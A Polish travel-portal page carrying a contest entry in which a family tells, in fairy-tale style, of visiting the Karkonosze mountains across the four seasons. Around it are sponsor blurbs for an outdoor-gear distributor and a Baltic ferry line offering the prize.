Jesteśmy krakowską firmą handlową, od 2005 roku funkcjonującą w branży outdoor. Jako RAVEN zajmujemy się dystrybucją i handlem wysokiej jakości odzieżą, butami oraz sprzętem turystycznym. Swoje produkty kierujemy do sklepów detalicznych, których docelowymi odbiorcami są pasjonaci świata gór, miłośnicy podróży i aktywnej turystyki oraz biegacze i rowerzyści – zarówno miejscy, jak i górscy. Jesteśmy wyłącznym, krajowym dystrybutorem kilkunastu uznanych – i wciąż przy tym dynamicznie rozwijanych brandów, takich jak Marmot, Aku, Teva, Hoka One One czy Smartwool. Ponadto, bazując na znajomości branży oraz zdobytym doświadczeniu, od 2009 rozwijamy autorską markę Rockland, oferującą sprzęt turystyczno – kempingowy. Poza polskim rynkiem, część naszych marek dystrybuujemy do 11 krajów Europy Wschodniej, na czele z Czechami i Węgrami. Ekonomiczny aspekt związany z prowadzeniem generującej zysk firmy nigdy nie przesłonił nam wartości, jakimi kierujemy się na co dzień w życiu. Bardziej niż biznesmenami czujemy się pasjonatami zdrowego i sportowego stylu życia, którego czynnymi praktykami są również nasi klienci oraz ich finalni odbiorcy. Razem z nimi tworzymy jedną wielką, „outdoorową” rodziną, dla której góry, sport, podróże czy bieganie stanowi nie tylko hobby po godzinach, ale i pasją, którą udało nam się połączyć z pracą. Wierzymy, iż produkty, które oferujemy, przyczynią się do realizacji Waszych turystyczno – sportowych ambicji.  http://www.ravenco.eu.

Raven           Rockland

2019-05-04 0 komentarze/y
0 FacebookTwitterPinterestEmail
PRACE KONKURSOWE POLSKA

KARKONOSZ I CZTERY PORY ROKU – PRACA KONKURSOWA

przez Redakcja 2019-05-02
Napisane przez Redakcja
KARKONOSZ I CZTERY PORY ROKU

KARKONOSZ I CZTERY PORY ROKU

 KARKONOSZ I CZTERY PORY ROKU

( bajkowe wrażenia z Karkonoszy )

Karkonosz, czyli Duch Gór to dawny władca Karkonoszy, który pojawia się w różnych wcieleniach: a to jako strumyczek, a to jakiś młodzieniec lub staruszek, raz bywa biedakiem, a raz bogaczem. Jeśli tak jest, to my widzieliśmy go nie raz przebywając w Karkonoszach. Góry te to nasz azyl, ostoja, cel podróży, do którego od kilku lat chętnie podążamy wraz z naszymi pociechami. Czy to lato, czy jesień, wiosna czy zima- Karkonosze zapewniają nam aktywny wypoczynek i wytchnienie od codziennych zajęć.

 

 KARKONOSZ I CZTERY PORY ROKU bajkowe wrażenia z Karkonoszy 1

 

Karkonosz ma cztery przyjaciółki – opiekunki. Są to piękne panny – Pory Roku: Wiosna, Lato, Jesień i Zima. Każda inna, oferująca turystom odmienne walory, każda odziana w cudowne szaty – stosownie do aury za oknem. Jako pierwszą spotkaliśmy Wiosnę Karkonoską. Wtedy urzekła nas swoją soczystą zielenią, ukwieconymi zboczami gór i niesamowitym śpiewem ptaków budzących się na wiosnę. Spacerowaliśmy z naszym starszym synem po górskich ścieżkach, a gdy padał wiosenny deszczyk wybraliśmy się do Muzeum Zabawek i do Świątyni Wang. Przed urokliwym drewnianym kościółkiem spotkaliśmy Ducha Gór, który zachęcał dzieci do przywitania się z nim. Gdy zaświeciło słońce pogoda zachęciła nas do wyprawy rowerowej, więc wypożyczyliśmy dwuślady, by przejechać na nich bajeczne zakątki na trasie Karpacz- Kowary. Tam odwiedziliśmy miniaturowe zabytki Dolnego Śląska, gdzie nasz syn wszedł na Śnieżkę (miniaturową) w 3 sekundy!   Na prawdziwą Śnieżkę wjechaliśmy wyciągiem po stronie czeskiej w pięknej miejscowości Pec pod Sneżkou. Na górze nasz syn był zafascynowany pocztą, która jest najwyżej położonym budynkiem poczty w Czechach!

 

KARKONOSZ I CZTERY PORY ROKU bajkowe wrażenia z Karkonoszy 2

 

Druga panna to Lato Karkonoskie. Spotkaliśmy ją, gdy byliśmy w Karkonoszach w wakacje letnie. Mieszkaliśmy wtedy w małej podgórskiej wiosce – Sosnówka, z dala od zgiełku kurortów. Miejsce to słynie z cudownego Dobrego Źródła. Warto wybrać się z dziećmi do skały zwanej Patelnią, gdyż jest to świetne miejsce widokowe, dobrze jest wejść po schodkach na górę skałki – nasz syn był zachwycony przepięknymi widokami, my również. Sosnówka to prawdziwa oaza spokoju, miejsce pełne pachnących drzew i krzewów: lip, jaworów i oczywiście sosen. W Sosnówce spotkaliśmy wiele ciekawych domów wczasowych, których nazwy pochodzą z bajek, np. Marysia, Leniuszek, Pyszałek czy Krasnoludki. Obecni właściciele zachowali dawne nazwy i bajkowy wystrój pensjonatów. Prawdziwa gratka dla rodzin z dziećmi! Lato w Karkonoszach było piękne tego roku…

 

KARKONOSZ I CZTERY PORY ROKU bajkowe wrażenia z Karkonoszy 3

 

Jesień, gdy przychodzi góry oczarowują turystów feerią przepięknych barw. My spotkaliśmy pannę Jesień, gdy szła z liśćmi we włosach na Głównym Szlaku Sudeckim. Już wtedy chwyciliśmy górskiego bakcyla na dobre i rozpoczęło się nasze szaleństwo z Karkonoszami. Przeważnie była to polska strona tych gór, ale chętnie odwiedzamy też czeską stronę Karkonoszy. Czy jesień jest słoneczna, czy deszczowa wycieczki z dziećmi wzbogacamy o ciekawe opowieści, legendy czy anegdoty związane z trasami. Pewien napotkany starszy pan ( był to zapewne Duch Gór ) polecił nam Magiczny Szlak Ducha Gór, który zwiedzaliśmy z dziećmi w formie gry terenowej. Na granitowych głazach, które są oznakowaniem szlaku, znajdowały się hologramy – obrazki do przerysowania na kartki. Zabawy przy tym było co nie miara. W nagrodę zjedliśmy pyszne desery o śmiesznej nazwie „Skrzacikowe przysmaki”.

 

KARKONOSZ I CZTERY PORY ROKU bajkowe wrażenia z Karkonoszy 4

 

Najzimniejszą przyjaciółką Karkonosza jest oczywiście Zima, która w górach jest traktowana z najwyższym szacunkiem. My mieliśmy z nią spotkanie podczas ferii zimowych. Bezcenny był wówczas nasz pobyt w pensjonacie, w którym mieszkaliśmy w pokoju z widokiem na… sople. Dzieci były zachwycone, bo czuły się jak w Krainie Lodu.

 

KARKONOSZ I CZTERY PORY ROKU bajkowe wrażenia z Karkonoszy 5

 

Zimowy czas w Karkonoszach spędziliśmy na zabawach na śniegu, jeździe na sankach i nartach. Raz nawet wybraliśmy się na narty biegowe do Jakuszyc. Okazało się to jednak nieco skomplikowane i trudniejsze od nart zjazdowych, ale na pocieszenie pojechaliśmy do Harrachova na pyszny obiad i odzyskaliśmy równowagę duchową i fizyczną.

Karkonosz i jego przyjaciółki Pory Roku wiedzą jak dbać o turystów, tych małych i tych dużych. Pierwszego dnia pobytu udajemy się zawsze do najbliższej Informacji Turystycznej po naszą ulubioną gazetę „Sezon na Karkonosze”, która dostosowana jest oczywiście do pory roku. Jest ona bogata w ciekawe artykuły dotyczące Karkonoszy, teksty są urozmaicone, i dla starszych i dla dzieci. Zawsze każdy znajdzie w niej coś dla siebie. W ostatnim wydaniu naszym dzieciom przypadły do gustu opowiadania o Karkonoszu, Sójce, Hance i Panu Gajowym, które to historie czytaliśmy wieczorami w pensjonacie. Ulubionym artykułem dla taty stał się oczywiście tekst o Karkonoskim Szlaku Piwnym, zaś mama z pewnością wykorzysta smakowite przepisy kulinarne z bramborów.

 

KARKONOSZ I CZTERY PORY ROKU bajkowe wrażenia z Karkonoszy 6

 

Zawsze, gdy wracamy z pobytu w Karkonoszach, jesteśmy naładowani pozytywną energią, czujemy się szczęśliwsi. Nasze podróże z dziećmi w Karkonosze sprawiły, że jesteśmy przekonani, iż podróżowanie jest udanym spędzeniem wolnego czasu, bo świat jest piękny!

 

Wspomnienia z Podróży – Polska

1 miejsce
Podróż dla 2 osób na trasie Świnoujście – Ystad – Świnoujście, kabina typu standard, posiłki na promie (kolacja lub śniadanie w zależności od rejsu dziennego, czy nocnego), przewiezienie auta prywatnego + opłaty ekologiczne
 
Unity Line

Spółka Unity Line, założona w maju 1994 roku jest jedną z największych firm armatorskich działających na rynku bałtyckich przewozów promowych, wchodzi w skład grupy kapitałowej Polskiej Żeglugi Morskiej (PŻM). W ramach prowadzonej działalności firma zajmuje się profesjonalnym zarządzaniem promami morskimi oraz działalnością turystyczną i transportową. Struktura floty Unity Line umożliwia obsługę wszystkich grup odbiorców: pasażerów, spedytorów oraz przewoźników drogowych i kolejowych. Promy w zarządzie Spółki eksploatowane są na liniach: Świnoujście – Ystad oraz Świnoujście – Trelleborg. Obok jednostek pasażerskich – promów Polonia i Skania – w zarządzie Unity Line znajduje się pięć jednostek zorientowanych na obsługę rynku cargo – promy ładunkowe: Jan Śniadecki, Kopernik; promy ładunkowo-pasażerskie: Gryf, Galileusz, Wolin i Copernicus.  Jesteśmy największym przewoźnikiem w korytarzu z Polski do Skandynawii, w segmencie cargo . Unity Line obsługuje całość przewozów kolejowych między Polską a Szwecją oraz ponad 63% wolumenu na rynku transportu samochodów ciężarowych. Obecnie promy Unity Line goszczą rocznie ponad 340.000 pasażerów i ponad 250.000 kierowców ciężarówek. Liczba ta wzrasta z każdym rokiem. https://www.unityline.pl

 
unity line
2019-05-02 0 komentarze/y
0 FacebookTwitterPinterestEmail
  • 1
  • …
  • 178
  • 179
  • 180
  • 181
  • 182
  • …
  • 299

Archiwa

  • marzec 2026
  • luty 2026
  • styczeń 2026
  • grudzień 2025
  • listopad 2025
  • październik 2025
  • wrzesień 2025
  • sierpień 2025
  • lipiec 2025
  • czerwiec 2025
  • maj 2025
  • kwiecień 2025
  • marzec 2025
  • luty 2025
  • styczeń 2025
  • grudzień 2024
  • listopad 2024
  • październik 2024
  • wrzesień 2024
  • sierpień 2024
  • lipiec 2024
  • czerwiec 2024
  • maj 2024
  • kwiecień 2024
  • marzec 2024
  • luty 2024
  • styczeń 2024
  • grudzień 2023
  • listopad 2023
  • październik 2023
  • wrzesień 2023
  • sierpień 2023
  • lipiec 2023
  • czerwiec 2023
  • maj 2023
  • kwiecień 2023
  • marzec 2023
  • luty 2023
  • styczeń 2023
  • grudzień 2022
  • listopad 2022
  • październik 2022
  • wrzesień 2022
  • sierpień 2022
  • lipiec 2022
  • czerwiec 2022
  • maj 2022
  • kwiecień 2022
  • marzec 2022
  • luty 2022
  • styczeń 2022
  • grudzień 2021
  • listopad 2021
  • październik 2021
  • wrzesień 2021
  • sierpień 2021
  • lipiec 2021
  • czerwiec 2021
  • maj 2021
  • kwiecień 2021
  • marzec 2021
  • luty 2021
  • styczeń 2021
  • grudzień 2020
  • listopad 2020
  • październik 2020
  • wrzesień 2020
  • sierpień 2020
  • lipiec 2020
  • czerwiec 2020
  • maj 2020
  • kwiecień 2020
  • marzec 2020
  • luty 2020
  • styczeń 2020
  • grudzień 2019
  • listopad 2019
  • październik 2019
  • wrzesień 2019
  • sierpień 2019
  • lipiec 2019
  • czerwiec 2019
  • maj 2019
  • kwiecień 2019
  • marzec 2019
  • luty 2019
  • styczeń 2019
  • grudzień 2018
  • listopad 2018
  • październik 2018
  • wrzesień 2018
  • sierpień 2018
  • lipiec 2018
  • czerwiec 2018
  • maj 2018
  • kwiecień 2018
  • marzec 2018
  • luty 2018
  • styczeń 2018
  • grudzień 2017
  • listopad 2017
  • październik 2017
  • wrzesień 2017
  • sierpień 2017
  • lipiec 2017
  • czerwiec 2017
  • maj 2017
  • kwiecień 2017
  • marzec 2017
  • luty 2017
  • styczeń 2017
  • grudzień 2016
  • listopad 2016
  • październik 2016
  • wrzesień 2016
  • sierpień 2016
  • lipiec 2016
  • czerwiec 2016
  • maj 2016
  • kwiecień 2016
  • marzec 2016
  • luty 2016
  • styczeń 2016
  • grudzień 2015
  • listopad 2015
  • październik 2015
  • wrzesień 2015
  • sierpień 2015
  • lipiec 2015
  • czerwiec 2015
  • maj 2015
  • kwiecień 2015
  • marzec 2015
  • luty 2015
  • styczeń 2015
  • grudzień 2014
  • listopad 2014
  • październik 2014
  • wrzesień 2014
  • sierpień 2014
  • lipiec 2014
  • czerwiec 2014
  • maj 2014
  • kwiecień 2014
  • marzec 2014
  • luty 2014
  • styczeń 2014
  • grudzień 2013
  • listopad 2013
  • październik 2013
  • wrzesień 2013
  • sierpień 2013
  • lipiec 2013
  • czerwiec 2013
  • maj 2013
  • kwiecień 2013
  • marzec 2013
  • luty 2013
  • styczeń 2013
  • grudzień 2012
  • listopad 2012
  • październik 2012
  • wrzesień 2012
  • sierpień 2012
  • lipiec 2012
  • czerwiec 2012
  • maj 2012
  • kwiecień 2012
  • marzec 2012
  • luty 2012
  • styczeń 2012
  • grudzień 2011
  • listopad 2011
  • październik 2011
  • wrzesień 2011
  • sierpień 2011
  • lipiec 2011
  • czerwiec 2011
  • maj 2011
  • kwiecień 2011
  • marzec 2011
  • luty 2011
  • styczeń 2011
  • grudzień 2010
  • listopad 2010
  • październik 2010
  • wrzesień 2010
  • sierpień 2010
  • lipiec 2010
  • czerwiec 2010
  • maj 2010
  • kwiecień 2010
  • marzec 2010
  • luty 2010
  • styczeń 2010
  • grudzień 2009
  • listopad 2009
  • październik 2009
  • wrzesień 2009
  • sierpień 2009
  • lipiec 2009
  • czerwiec 2009
  • maj 2009
  • kwiecień 2009
  • styczeń 2009
  • listopad 2008
  • październik 2008

Kategorie

  • Administracyjna
  • Afryka
  • Akcje eko
  • Aktualności
  • Aktualności inne
  • Albania
  • Aleja Podróżników
  • Ameryka Północna
  • Ameryka Południowa
  • Ameryka Środkowa i Karaiby
  • Artykuły testowe
  • Australia i Oceania
  • Austria
  • Azja
  • Bez kategorii
  • Biegi
  • BUŁGARIA
  • Chorwacja
  • Ciekawostki
  • Cykliczne Spotkania Podróżników
  • CZARNOGÓRA
  • Czechy
  • Czyste Góry Czyste Szlaki
  • Czyste Tatry
  • Czyste Tatry
  • Dania
  • Dolny Śląsk
  • Europa
  • Festiwale
  • Filmy
  • Francja
  • Góry
  • HISZPANIA
  • HOLANDIA
  • Konkurs Fotograficzny
  • Konkursy
  • Konkursy inne
  • Korona
  • Kościoły i obiekty sakralne
  • KOSOWO
  • Książka
  • Kuchnia
  • Kuchnie świata
  • Kujawsko-pomorskie
  • LITWA
  • Łódzkie
  • Lotniska i powietrze
  • Lubelskie
  • Lubuskie
  • LUKSEMBURG
  • MACEDONIA
  • Małopolskie
  • Malta
  • Materiał zewnętrzny
  • Miasta
  • Miejsca wyjątkowe
  • Muzea
  • Najciekawsze szlaki piesze i rowerowe w Europie
  • Newsy
  • NIEMCY
  • NORWEGIA
  • Opolskie
  • Parowozownie
  • Podkarpackie
  • Podlaskie
  • Podziemia
  • Podziemia
  • Podziemia turystyczne w Europie Underground in Europe
  • Polecamy
  • Polska
  • Pomorskie
  • Portugalia
  • PRACE KONKURSOWE POLSKA
  • PRACE KONKURSOWE ŚWIAT
  • Projekt 4 Pory Roku
  • Projekt Mali Melomani
  • Projekt Mali Melomani II
  • Recenzje sprzętu
  • Reklama
  • Robocze inne
  • ROSJA
  • Rower
  • Różne media
  • Rumunia
  • Schroniska
  • SERBIA
  • Skanseny w Polsce
  • Śląskie
  • Slowacja
  • Slowenia
  • Spływy kajakowe
  • Spotkania autorskie
  • Spotkania, zloty, imprezy podróżników
  • Sprzęt
  • Świat
  • Świętokrzyskie
  • SZWAJCARIA
  • Tanie loty
  • Tatromaniak
  • Testy sprzętu
  • Twierdze i Forty
  • Ukraina
  • unesco
  • Via Adriatica Trail
  • Warmińsko-mazurskie
  • Warsztaty i plenery fotograficzne
  • WĘGRY
  • WIELKA BRYTANIA
  • Wielkopolskie
  • WŁOCHY
  • Woda
  • Wspomnienia z podróży
  • Wystawy
  • Wywiady
  • Zabytki sakralne
  • Zachodniopomorskie
  • Zamki i pałace
  • Zostań w domu nie odwołuj

Obserwuj nas

Top Selling Multipurpose WP Theme

Ostatnie posty

  • Bezpieczne (prawie) szlaki zimowe w Tatrach- propozycje (prawie) dla każdego

    2026-03-28
  • Via Bulgarica – Bułgarski Szlak Przygody

    2026-03-28
  • Schrony i schroniska górskie w Chorwacji

    2026-03-27
  • Skansen Przemysłu Naftowego Magdalena w Gorlicach

    2026-03-25
  • Skansen Józefa Chełmowskiego w Brusach – artysta z innego świata

    2026-03-24
  • Grota Mechowska – największa osobliwość przyrody na Niżu Europejskim

    2026-03-22

Kanał społecznościowy

Kanał społecznościowy

Wybór redaktorów

zamek Drakuli w Poenari

2016-01-25

Rezerwat Groapa Ruginoasa, Góry Bihor w Rumunii

2022-08-06

Zamek – Twierdza Rupea w Rumunii

2022-08-09

Rezerwat Cheile Turzii – wąwóz Turda

2024-01-23

Zamek Drakuli w Hunedoarze w Rumunii

2024-03-03

Klub Podróżników Śródziemie

Ogólnopolski portal podróżniczy poświęcony odkrywaniu Polski i świata. Od znanych miast i zabytków, przez górskie szlaki i podziemia, po miejsca nieoczywiste i zapomniane.

Rzetelne relacje, autorskie przewodniki oraz praktyczne wskazówki dla turystów, pasjonatów historii i miłośników aktywnego podróżowania.

Odkrywaj świat z nami – świadomie, krok po kroku i z pasją.

Ciekawe w województwach

    • Dolnośląskie
    • Kujawsko-pomorskie
    • Lubelskie
    • Lubuskie
    • Łódzkie
    • Małopolskie
    • Mazowieckie
    • Opolskie
    • Podkarpackie
    • Podlaskie
    • Pomorskie
    • Śląskie
    • Świętokrzyskie
    • Warmińsko-mazurskie
    • Wielkopolskie
    • Zachodniopomorskie
dhosting

Polecane

Bezpieczne (prawie) szlaki zimowe w Tatrach- propozycje (prawie) dla każdego
Via Bulgarica – Bułgarski Szlak Przygody
Schrony i schroniska górskie w Chorwacji
Skansen Przemysłu Naftowego Magdalena w Gorlicach

Ostatnio dodane

Bezpieczne (prawie) szlaki zimowe w Tatrach- propozycje (prawie) dla każdego
Via Bulgarica – Bułgarski Szlak Przygody
Schrony i schroniska górskie w Chorwacji
Skansen Przemysłu Naftowego Magdalena w Gorlicach
Facebook Twitter Youtube Linkedin Envelope Rss

klubpodroznikow.com – Copyright & Copy 2025/26

Created by Konfig.Info

  • Klub Podróżników – Śródziemie – portal podróżniczy | Polska, Europa, Świat
  • Fundacja Aleja Podróżników
  • Forum
  • Relacje
    • Europa
    • Polska
    • Świat
  • Sprzęt
    • Recenzje sprzętu
    • Testy sprzętu
  • Książka
  • Kontakt
Klub Podróżników – Śródziemie – portal podróżniczy | Polska, Europa, Świat
  • Home
Klub Podróżników – Śródziemie – portal podróżniczy | Polska, Europa, Świat

Wybór redaktorów

  • Sighișoara miasto w środkowej Rumunii w Siedmiogrodzie

    2026-02-02
  • Góry solne w Rumunii – Muntele de sare

    2026-02-01
  • Droga Transfogaraska w Rumunii

    2025-09-17
  • Wulkany błotne w Rumunii, wyjątkowy rezerwat przyrody

    2024-08-20
  • Jaskinia Meziad, Peşteră

    2024-08-20
  • Kopalnia soli Salina Turda w Rumunii

    2024-08-17
@2021 - All Right Reserved. Designed and Developed by PenciDesign
Ta strona wykorzystuje pliki cookies w celu zapewnienia prawidłowego działania serwisu oraz analiz ruchu. Zobacz politykę prywatności .